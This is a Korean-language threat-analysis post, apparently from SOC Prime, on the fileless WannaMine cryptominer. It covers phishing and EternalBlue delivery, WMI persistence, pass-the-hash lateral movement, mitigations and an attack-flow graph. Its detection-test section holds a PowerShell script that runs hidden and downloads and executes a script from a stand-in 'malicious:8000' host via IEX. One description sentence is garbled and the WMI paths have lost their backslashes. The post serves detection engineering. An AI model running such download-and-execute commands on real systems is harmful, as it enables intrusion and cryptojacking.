SOC Prime Bias: 심각

14 1월 2026 18:14

WannaMine 크립토마이너 분석: 파일리스 실행 및 지속성

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
WannaMine 크립토마이너 분석: 파일리스 실행 및 지속성
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

WannaMine은 파일리스 암호화폐 채굴 웜으로, 메모리에 상주하여 Monero를 채굴하기 위해 주로 PowerShell과 Windows Management Instrumentation (WMI)를 활용하여 영구적으로 유지됩니다.

조사

WannaMine은 악성 배치 파일을 포함한 피싱 이메일을 통해 전송되거나 EternalBlue SMB 취약점을 이용하여 전달됩니다. 지속성을 위해 WMI 이벤트 구독을 등록하고 커스텀 WMI 클래스에 인코딩된 PowerShell을 저장합니다.

WannaMine 완화

SMB (MS17-010) 패치를 통해 EternalBlue 취약점 공격을 방지하십시오. PowerShell 실행과 모니터링을 제한하고, 비정상적인 WMI 클래스 생성과 이벤트 소비자를 주시하며, 권한 남용을 제한하기 위해 최소 권한 원칙을 시행하십시오.

대응

비정상적인 PowerShell/WMI 동작에 경고를 보내고, 영향을 받은 호스트를 격리시키며, 악성 WMI 이벤트 소비자/구독을 제거하고, 잠재적으로 노출된 자격 증명을 교체하며, 메모리 포렌식을 수행하여 메모리에 있는 채굴 활동을 확인하십시오.

graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Nodes – Actions action_phishing[“<b>행동</b> – <b>T1566.001 피싱</b>: 악성 배치 파일을 전달하는 스피어피싱 첨부파일”] class action_phishing action action_user_exec[“<b>행동</b> – <b>T1204 사용자 실행</b>: 피해자가 배치 파일을 실행하여 PowerShell을 시작함”] class action_user_exec action action_powershell_exec[“<b>행동</b> – <b>T1059.001 PowerShell</b>: 숨겨진 PowerShell 스크립트가 OS 아키텍처를 판별하고 페이로드를 다운로드함”] class action_powershell_exec action action_wmi_persistence[“<b>행동</b> – <b>T1546.003 WMI 이벤트 구독</b>: 악성코드가 사용자 지정 WMI 클래스를 생성하고 이벤트 소비자를 등록함”] class action_wmi_persistence action action_pass_the_hash[“<b>행동</b> – <b>T1550.002 패스 더 해시</b>: 추출된 NTLM 해시를 재사용함”] class action_pass_the_hash action action_wmiexec[“<b>행동</b> – <b>WMIExec를 통한 측면 이동</b>: 해시를 사용해 원격 호스트에서 PowerShell 실행”] class action_wmiexec action action_eternalblue[“<b>행동</b> – <b>T1210 원격 서비스 악용</b>: 해시 재사용 실패 시 EternalBlue(MS17-010) 사용”] class action_eternalblue action action_defense_evasion[“<b>행동</b> – <b>T1550 대체 인증 자료 사용</b>: 탈취한 해시 재사용으로 인증 프롬프트 회피”] class action_defense_evasion action action_compute_hijacking[“<b>행동</b> – <b>T1496.001 연산 자원 하이재킹</b>: 시스템을 Monero 암호화폐 채굴용으로 구성”] class action_compute_hijacking action action_power_settings[“<b>행동</b> – <b>T1653 전원 설정</b>: 절전 모드를 방지하여 채굴을 지속하도록 전원 관리 설정 변경”] class action_power_settings action %% Nodes – Tools and Malware file_batch[“<b>도구</b> – <b>이름</b>: 악성 배치 파일<br/><b>설명</b>: 초기 PowerShell 명령을 담는 컨테이너”] class file_batch tool tool_powershell[“<b>도구</b> – <b>이름</b>: PowerShell<br/><b>설명</b>: 다운로드 및 실행에 사용되는 스크립트 엔진”] class tool_powershell tool tool_wmi[“<b>도구</b> – <b>이름</b>: Windows 관리 계측(WMI)<br/><b>설명</b>: 지속성을 위한 이벤트 구독 등록”] class tool_wmi tool tool_mimikatz[“<b>도구</b> – <b>이름</b>: Mimikatz 모듈<br/><b>설명</b>: 메모리에서 NTLM 해시 추출”] class tool_mimikatz tool tool_wmiexec[“<b>도구</b> – <b>이름</b>: WMIExec<br/><b>설명</b>: WMI를 통해 원격 시스템에서 명령 실행”] class tool_wmiexec tool exploit_eternalblue[“<b>도구</b> – <b>이름</b>: EternalBlue 익스플로잇<br/><b>설명</b>: SMB 취약점 MS17-010 악용”] class exploit_eternalblue tool malware_payload[“<b>악성코드</b> – <b>이름</b>: 사용자 정의 페이로드<br/><b>설명</b>: 채굴을 수행하는 다운로드된 구성요소”] class malware_payload malware process_download[“<b>프로세스</b> – <b>이름</b>: 원격 페이로드 다운로드<br/><b>설명</b>: OS 아키텍처에 맞는 바이너리 수신”] class process_download process process_mining[“<b>프로세스</b> – <b>이름</b>: Monero 채굴기<br/><b>설명</b>: 암호화폐 채굴을 위해 CPU 자원 사용”] class process_mining process %% Connections – Attack Flow action_phishing –>|전달| file_batch file_batch –>|사용자 실행| action_user_exec action_user_exec –>|트리거| action_powershell_exec action_powershell_exec –>|사용| tool_powershell action_powershell_exec –>|다운로드| process_download process_download –>|저장| malware_payload malware_payload –>|생성| action_wmi_persistence action_wmi_persistence –>|활용| tool_wmi action_wmi_persistence –>|해시 추출| tool_mimikatz tool_mimikatz –>|가능하게 함| action_pass_the_hash action_pass_the_hash –>|가능하게 함| action_wmiexec action_pass_the_hash –>|대체 수단| action_eternalblue action_wmiexec –>|측면 이동 수행| process_mining action_eternalblue –>|악용| exploit_eternalblue exploit_eternalblue –>|접근 권한 획득| process_mining process_mining –>|결과| action_defense_evasion action_defense_evasion –>|가능하게 함| action_compute_hijacking action_compute_hijacking –>|수정| action_power_settings

공격 흐름

시뮬레이션 실행

전제 조건: 원격 측정 및 기준선 사전 점검이 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적 대기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 설명은 반드시 식별된 TTP를 직접 반영해야 하며, 탐지 로직에 의해 기대되는 정확한 원격 측정을 생성해야 합니다.

  • 공격 설명 및 명령:
    공격자는 Windows 엔드포인트에서 원격 코드 실행 권한을 얻습니다. 사용자 상호작용을 피하기 위해, 숨겨진 창에서 PowerShell을 실행합니다 (-W Hidden) 프로필 없이 (-NoP) 비대화형으로 (-NonI). 명령은 IEX 을 사용하여 악성 HTTP 서버 (http://malicious:8000/in6.ps1)에서 PowerShell 페이로드를 다운로드합니다. 다운로드된 스크립트는 WMI 클래스 이름 Office_Updater 를 아래에 루트디폴트 에 등록하고, Base64로 인코딩된 Monero 채굴기를 저장하는 속성을 저장합니다. 공격자는 그 후 mon 를 통해 속성을 읽고 이를 호출하여 새로운 프로세스를 생성하지 않고 암호화폐 채굴기를 효과적으로 시작합니다. 이 시퀀스는 탐지 규칙의 세 가지 명령줄 하위 문자열과 일치합니다. [WmiClass] and invokes it, effectively launching the cryptominer without creating a new process. This sequence matches the detection rule’s three command‑line substrings.

  • 회귀 테스트 스크립트:

    #-------------------------------------------------
    # WannaMine 파일리스 암호화폐 채굴기 실행 시뮬레이션
    #-------------------------------------------------
    $maliciousServer = "http://malicious:8000"
    $payloadPath     = "$maliciousServer/in6.ps1"
    
    # 1. 숨겨진 비대화형 PowerShell 실행
    $cmd = "-NoP -NonI -W Hidden " +
           "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
           "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value"
    
    # 명령 실행 (공격자가 실행할 명령)
    Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow
    
    # 참고: 원격 스크립트 (in6.ps1)는 "mon" 속성을 포함하는 WMI 클래스를 생성한다고 가정합니다.
  • 정리 명령:

    # 악성 WMI 클래스 제거
    Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue
    
    # 남아있는 PowerShell 채굴 프로세스 중지 (실행된 경우)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.CommandLine -match "mon"} |
        Stop-Process -Force
    
    # 선택적: 테스트 중 생성된 PowerShell 전사/로그 파일 삭제
    Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue